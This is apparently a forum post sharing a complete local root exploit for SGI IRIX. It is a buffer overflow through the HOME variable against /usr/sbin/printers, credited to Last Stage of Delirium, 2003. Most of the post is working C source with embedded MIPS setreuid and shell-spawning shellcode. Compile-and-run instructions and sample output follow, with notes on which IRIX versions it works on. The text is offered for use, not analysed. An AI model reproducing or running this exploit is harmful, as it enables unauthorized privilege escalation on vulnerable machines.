if the system has a compiler your golden, compile this code 

Code:

/*## copyright LAST STAGE OF DELIRIUM jun 2003 poland *://lsd-pl.net/ #*/
/*## libdesktopicon.so $HOME                                          #*/

#define NOPNUM 1300
#define ADRNUM 900
#define PCHNUM 400

char setreuidcode[]=
    "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
    "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
    "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
    "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
    "\x24\x02\x04\x64"    /* li      $v0,1124             */
    "\x03\xff\xff\xcc"    /* syscall                      */
;

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM jun 2003 poland  //lsd-pl.net/\n");
    printf("libdesktopicon.so $HOME for irix 6.2 6.3 6.4 6.5 6.5.21 ");
    printf("IP:ALL\n\n");

    if(argc!=2){
        printf("usage: %s xserver:display\n",argv[0]);
        exit(-1);
    }

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8580+3056+600;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+8580+400+31552;

    envp[0]=buffer;
    envp[1]=0;

    b=buffer;
    sprintf(b,"HOME=");
    b+=5;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/sbin/printers","lsd","-display",argv[1],0,envp);
}

here is what it should look like (this was on a 6.5.22m machine, wont work on 6.5.30):

Code:

bash-4.2$ cc -o foo x.c
bash-4.2$ ./foo localhost:0.0
copyright LAST STAGE OF DELIRIUM jun 2003 poland  //lsd-pl.net/
libdesktopicon.so $HOME for irix 6.2 6.3 6.4 6.5 6.5.21 IP:ALL

If you don't have a compiler, there was a way to compile stuff in earlier versions of irix using the built-in compiler the system uses for building the kernel, but my notes fail me and I don't recall how to do it...

Here is more info for the exploit I posted above:
